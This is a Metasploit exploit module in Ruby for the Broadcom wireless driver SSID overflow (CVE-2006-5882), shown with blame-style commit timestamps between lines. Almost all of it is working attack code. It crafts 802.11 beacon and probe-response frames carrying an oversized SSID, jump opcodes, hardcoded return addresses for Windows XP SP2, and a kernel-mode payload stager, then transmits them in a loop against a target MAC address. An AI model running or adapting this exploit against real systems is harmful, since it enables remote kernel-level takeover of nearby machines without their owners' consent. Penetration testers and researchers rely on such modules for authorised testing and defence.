2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = LowRanking
|
2006-11-11 04:56:11 +00:00
|
|
|
|
2009-10-23 15:59:13 +00:00
|
|
|
include Msf::Exploit::Lorcon2
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::KernelMode
|
2006-11-11 04:56:11 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-11-11 04:56:11 +00:00
|
|
|
'Name' => 'Broadcom Wireless Driver Probe Response SSID Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the Broadcom Wireless driver
|
2010-04-30 08:40:19 +00:00
|
|
|
that allows remote code execution in kernel mode by sending a 802.11 probe
|
|
|
|
response that contains a long SSID. The target MAC address must
|
|
|
|
be provided to use this exploit. The two cards tested fell into the
|
|
|
|
00:14:a5:06:XX:XX and 00:14:a4:2a:XX:XX ranges.
|
|
|
|
|
|
|
|
This module depends on the Lorcon2 library and only works on the Linux platform
|
|
|
|
with a supported wireless card. Please see the Ruby Lorcon2 documentation
|
|
|
|
(external/ruby-lorcon/README) for more information.
|
2006-11-11 04:56:11 +00:00
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Author' =>
|
2006-11-11 04:56:11 +00:00
|
|
|
[
|
|
|
|
'Chris Eagle', # initial discovery
|
2009-10-17 05:55:15 +00:00
|
|
|
'Johnny Cache <johnnycsh [at] 802.11mercenary.net>', # the man with the plan
|
2006-11-11 04:56:11 +00:00
|
|
|
'skape', # windows kernel ninjitsu and debugging
|
|
|
|
'hdm' # porting the C version to ruby
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-11-11 04:56:11 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-05-14 19:56:07 +00:00
|
|
|
['CVE', '2006-5882'],
|
|
|
|
['OSVDB', '30294'],
|
2006-11-11 04:56:11 +00:00
|
|
|
['URL', 'http://projects.info-pull.com/mokb/MOKB-11-11-2006.html'],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 500
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2006-11-11 04:56:11 +00:00
|
|
|
[
|
|
|
|
# 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
|
|
|
|
[ 'Windows XP SP2 (5.1.2600.2122), bcmwl5.sys 3.50.21.10',
|
|
|
|
{
|
|
|
|
'Ret' => 0x8066662c, # jmp edi
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Payload' =>
|
2006-11-11 04:56:11 +00:00
|
|
|
{
|
2010-04-30 08:40:19 +00:00
|
|
|
'ExtendedOptions' =>
|
2006-11-11 04:56:11 +00:00
|
|
|
{
|
|
|
|
'Stager' => 'sud_syscall_hook',
|
|
|
|
'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
|
|
|
|
'Recovery' => 'idlethread_restart',
|
2010-04-30 08:40:19 +00:00
|
|
|
'KiIdleLoopAddress' => 0x804dbb27,
|
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
}
|
|
|
|
}
|
2010-04-30 08:40:19 +00:00
|
|
|
}
|
2006-11-11 04:56:11 +00:00
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
# 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
|
|
|
|
[ 'Windows XP SP2 (5.1.2600.2180), bcmwl5.sys 3.50.21.10',
|
|
|
|
{
|
|
|
|
'Ret' => 0x804f16eb, # jmp edi
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Payload' =>
|
2006-11-11 04:56:11 +00:00
|
|
|
{
|
2010-04-30 08:40:19 +00:00
|
|
|
'ExtendedOptions' =>
|
2006-11-11 04:56:11 +00:00
|
|
|
{
|
|
|
|
'Stager' => 'sud_syscall_hook',
|
|
|
|
'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
|
|
|
|
'Recovery' => 'idlethread_restart',
|
|
|
|
'KiIdleLoopAddress' => 0x804dc0c7,
|
|
|
|
}
|
|
|
|
}
|
2010-04-30 08:40:19 +00:00
|
|
|
}
|
|
|
|
]
|
2006-11-11 04:56:11 +00:00
|
|
|
],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Nov 11 2006'
|
2006-11-11 04:56:11 +00:00
|
|
|
))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('ADDR_DST', [ true, "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']),
|
|
|
|
OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 60])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
open_wifi
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
stime = Time.now.to_i
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
print_status("Sending beacons and responses for #{datastore['RUNTIME']} seconds...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
while (stime + datastore['RUNTIME'].to_i > Time.now.to_i)
|
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
select(nil, nil, nil, 0.02)
|
|
|
|
wifi.write(create_response)
|
|
|
|
|
|
|
|
select(nil, nil, nil, 0.01)
|
|
|
|
wifi.write(create_beacon)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 10:05:20 +00:00
|
|
|
break if session_created?
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
print_status("Finished sending frames...")
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
def create_beacon
|
|
|
|
src = eton('90:e9:75:00:00:00') #relative jmp + 0x75 = stage2 HaHa. Tuned for ssid len = 93
|
|
|
|
dst = eton('FF:FF:FF:FF:FF:FF')
|
|
|
|
seq = [Time.now.to_i % 4096].pack('n')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
blob = create_frame
|
|
|
|
blob[0,1] = 0x80.chr
|
|
|
|
blob[4,6] = dst
|
|
|
|
blob[10,6] = src
|
|
|
|
blob[16,6] = src
|
|
|
|
blob[22,2] = seq
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
blob
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
def create_response
|
|
|
|
src = eton('90:e9:75:00:00:00') #relative jmp + 0x75 = stage2 HaHa. Tuned for ssid len = 93
|
|
|
|
dst = eton(datastore['ADDR_DST'])
|
|
|
|
seq = [Time.now.to_i % 256].pack('n')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
blob = create_frame
|
2010-04-30 08:40:19 +00:00
|
|
|
blob[0,1] = 0x50.chr
|
2006-11-11 04:56:11 +00:00
|
|
|
blob[4,6] = dst
|
|
|
|
blob[10,6] = src
|
2010-04-30 08:40:19 +00:00
|
|
|
blob[16,6] = src # bssid field, good idea to set to src.
|
2006-11-11 04:56:11 +00:00
|
|
|
blob[22,2] = seq
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
blob
|
|
|
|
end
|
|
|
|
|
|
|
|
def create_frame
|
|
|
|
"\x80" + # type/subtype
|
|
|
|
"\x00" + # flags
|
2010-04-30 08:40:19 +00:00
|
|
|
"\x00\x00" + # duration
|
2006-11-15 21:23:03 +00:00
|
|
|
eton(datastore['ADDR_DST']) + # dst
|
2006-11-11 04:56:11 +00:00
|
|
|
"\x58\x58\x58\x58\x58\x58" + # src
|
|
|
|
"\x58\x58\x58\x58\x58\x58" + # bssid
|
|
|
|
"\x70\xed" + # sequence number
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
#
|
|
|
|
# fixed parameters
|
|
|
|
#
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
# timestamp value
|
2010-04-30 08:40:19 +00:00
|
|
|
rand_text_alphanumeric(8) +
|
2006-11-11 04:56:11 +00:00
|
|
|
"\x64\x00" + # beacon interval
|
|
|
|
"\x11\x04" + # capability flags
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
#
|
|
|
|
# tagged parameters
|
|
|
|
#
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
# ssid tag
|
|
|
|
"\x00" + # tag: SSID parameter set
|
|
|
|
"\x5d" + # len: length is 93 bytes
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
# jump into the payload
|
|
|
|
"\x89\xf9" + # mov edi, ecx
|
|
|
|
"\x81\xc1\x7b\x00\x00\x00" + # add ecx, 0x7b
|
|
|
|
"\xff\xe1" + # jmp ecx
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
# padding
|
2010-04-30 08:40:19 +00:00
|
|
|
rand_text_alphanumeric(79) +
|
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
# return address
|
|
|
|
[target.ret].pack('V') +
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
# vendor specific tag
|
|
|
|
"\xdd" + # wpa
|
|
|
|
"\xff" + # big as we can make it
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-11 04:56:11 +00:00
|
|
|
# the kernel-mode stager
|
|
|
|
payload.encoded
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-05-14 19:56:07 +00:00
|
|
|
end
|